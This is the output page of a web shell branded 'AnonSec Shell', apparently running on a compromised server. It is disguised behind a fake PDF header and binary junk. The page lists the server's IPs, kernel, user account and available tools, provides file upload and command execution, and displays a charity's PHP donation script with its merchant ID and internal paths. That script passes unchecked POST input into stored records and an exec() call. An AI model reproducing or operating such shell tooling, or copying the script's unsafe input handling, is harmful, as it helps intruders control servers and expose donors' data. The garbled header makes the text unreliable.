%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/paiement/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/paiement/call_request.php
 <?php
//include($_SERVER["DOCUMENT_ROOT"].'/inc/ssl_only.php');  //ssl_only.php //no_ssl.php
require_once($_SERVER["DOCUMENT_ROOT"].'/Connections/french.php'); 
include($_SERVER["DOCUMENT_ROOT"].'/dons.class.php');

if($type_from=='gala2014')
{
	$don= new dons;
	$don->titre='';
	$don->nom=$f_1;
	$don->prenom=$f_2;
	$don->adresse=$f_3;
	$don->cp=$f_4;
	$don->ville=$f_5;
	$don->email=$f_6;
	$don->tel=$f_7;
	$don->portable=$f_8;
	

	$don->type_don='gala';
	$don->montant=$montant;
	$don->occasion='galas2014';
	$don->date='';
	$don->periodicite=addslashes($corps);
	$don->duree='';
	$don->du_mois='';
	$don->du_jour='';
	$don->nom_autre='';
	$don->prenom_autre='';
	$don->adresse_autre='';
	$don->cp_autre='';
	$don->ville_autre='';
	$don->valide=0;
 
	$don->save();

 }
 else
 {
	$don= new dons;
	$don->titre=$_POST['titre'];
	$don->nom=$_POST['nom'];
	$don->prenom=$_POST['prenom'];
	$don->adresse=$_POST['adresse'];
	$don->cp=$_POST['cp'];
	$don->ville=$_POST['ville'];
	$don->pays=$_POST['pays'];
	$don->tel=$_POST['tel'];
	$don->portable=$_POST['portable'];
	$don->email=$_POST['email'];
	$don->type_don=$_POST['type_don'];
	$don->montant=$_POST['montant'];
	$don->occasion=$_POST['occasion'];
	$don->date=$_POST['date'];
	$don->periodicite=$_POST['periodicite'];
	$don->duree=$_POST['duree'];
	$don->du_mois=$_POST['du_mois'];
	$don->du_jour=$_POST['du_jour'];
	$don->nom_autre=$_POST['nom_autre'];
	$don->prenom_autre=$_POST['prenom_autre'];
	$don->adresse_autre=$_POST['adresse_autre'];
	$don->cp_autre=$_POST['cp_autre'];
	$don->ville_autre=$_POST['ville_autre'];
	$don->commentaire=$_POST['commentaire'];
	$don->valide=0;
 
 if($don->type_don=='abonnement') $don->montant*=3;
	$don->save();
 }
	print ("<HTML><HEAD><TITLE>ELYSNET - Paiement Securise sur Internet</TITLE></HEAD>");
	print ("<BODY bgcolor=#ffffff><a name=\"top\">");
	print ("<Font color=#000000>");
	print ("<center></center><br><br>");


	//		Affectation des paramètres obligatoires

//	$parm="merchant_id=014102450311111";
	$parm="merchant_id=052355814600016";
	$parm="$parm merchant_country=fr";
	$parm="$parm amount=".($don->montant*100);
	$parm="$parm currency_code=978";


	// Initialisation du chemin du fichier pathfile (à modifier)
	    //   ex :
	    //    -> Windows : $parm="$parm pathfile=c:\\repertoire\\pathfile";
	    //    -> Unix    : $parm="$parm pathfile=/home/repertoire/pathfile";
	    
//	$parm="$parm pathfile=chemin_du_fichier_pathfile";
	$parm="$parm pathfile=".$_SERVER["DOCUMENT_ROOT"]."/paiement/param/pathfile";

	//		Si aucun transaction_id n'est affecté, request en génère
	//		un automatiquement à partir de heure/minutes/secondes
	//		Référez vous au Guide du Programmeur pour
	//		les réserves émises sur cette fonctionnalité
	//
			$parm="$parm transaction_id=".$don->id_dons;



	//		Affectation dynamique des autres paramètres
	// 		Les valeurs proposées ne sont que des exemples
	// 		Les champs et leur utilisation sont expliqués dans le Dictionnaire des données
	//
	 //		$parm="$parm normal_return_url=https://www.meirpanim.org/donation_f.php?don=".$don->type_don;
	 		$parm="$parm normal_return_url=https://www.meirpanim.fr/paiement/call_response.php";
			$parm="$parm cancel_return_url=https://www.meirpanim.fr/votre-don/";
			$parm="$parm automatic_response_url=https://www.meirpanim.fr/paiement/call_response.php";
	//		$parm="$parm language=fr";
			$parm="$parm payment_means=CB,2,VISA,2,MASTERCARD,2";
	//		$parm="$parm header_flag=no";
	if($don->type_don=='abonnement'){ 
		if($don->du_jour<10) $j='0'.$don->du_jour; else $j=$don->du_jour;
		$mois=array('Janvier'=>'01','Février'=>'02','Mars'=>'03','Avril'=>'04','Mai'=>'05','Juin'=>'06','Juillet'=>'07','Août'=>'08','Septembre'=>'09','Octobre'=>'10','Novembre'=>'11','Décembre'=>'12');
		$catp_day=round((strtotime(date("Y").'-'.$mois[$don->du_mois].'-'.$j) - strtotime(date("Y-m-d")))/(60*60*24)-1);
		if($don->periodicite=='Mensuelle') $period=30;
		if($don->periodicite=='Trimestrielle') $period=90;
			$parm="$parm capture_day=$catp_day";		//nombre de jour avant l'envoi
			$parm="$parm capture_mode=PAYMENT_N";    //paiement en n fois
			$parm="$parm data=NB_PAYMENT=3;PERIOD=$period;INITIAL_AMOUNT=".(($_POST['montant'])*100);			// abonnement
		}
	//		$parm="$parm bgcolor=";
	//		$parm="$parm block_align=";
	//		$parm="$parm block_order=";
	//		$parm="$parm textcolor=";
	//		$parm="$parm receipt_complement=";
	//		$parm="$parm caddie=mon_caddie";
	//		$parm="$parm customer_id=";
	//		$parm="$parm customer_email=";
	//		$parm="$parm customer_ip_address=";
	//		$parm="$parm return_context=";
	//		$parm="$parm target=";
	//		$parm="$parm order_id=";


	//		Les valeurs suivantes ne sont utilisables qu'en pré-production
	//		Elles nécessitent l'installation de vos fichiers sur le serveur de paiement
	//
	// 		$parm="$parm normal_return_logo=";
	// 		$parm="$parm cancel_return_logo=";
	// 		$parm="$parm submit_logo=";
	// 		$parm="$parm logo_id=";
	// 		$parm="$parm logo_id2=";
	// 		$parm="$parm advert=";
	// 		$parm="$parm background_id=";
	// 		$parm="$parm templatefile=";


	//		insertion de la commande en base de données (optionnel)
	//		A développer en fonction de votre système d'information

	// Initialisation du chemin de l'executable request (à modifier)
	// ex :
	// -> Windows : $path_bin = "c:\\repertoire\\bin\\request";
	// -> Unix    : $path_bin = "/home/repertoire/bin/request";
	//

//	$path_bin = "chemin_du_fichier_request";
	$path_bin = $_SERVER["DOCUMENT_ROOT"]."/paiement/bin/request";


	//	Appel du binaire request

	$result=exec("$path_bin $parm");

	//	sortie de la fonction : $result=!code!error!buffer!
	//	    - code=0	: la fonction génère une page html contenue dans la variable buffer
	//	    - code=-1 	: La fonction retourne un message d'erreur dans la variable error

	//On separe les differents champs et on les met dans une variable tableau

	$tableau = explode ("!", "$result");

	//	récupération des paramètres

	$code = $tableau[1];
	$error = $tableau[2];
	$message = $tableau[3];

	//  analyse du code retour

  if (( $code == "" ) && ( $error == "" ) )
 	{
  	print ("<BR><CENTER>erreur appel request</CENTER><BR>");
  	print ("executable request non trouve $path_bin");
 	}

	//	Erreur, affiche le message d'erreur

	else if ($code != 0){
		print ("<center><b><h2>Erreur appel API de paiement.</h2></center></b>");
		print ("<br><br><br>");
		print (" message erreur : $error <br>");
	}

	//	OK, affiche le formulaire HTML
	else {
		print ("<br><br>");
		
		# OK, affichage du mode DEBUG si activé
		print (" $error <br>");
		
		print ("  $message <br>");
	}

print ("</BODY></HTML>");

?>

Anon7 - 2022
AnonSec Team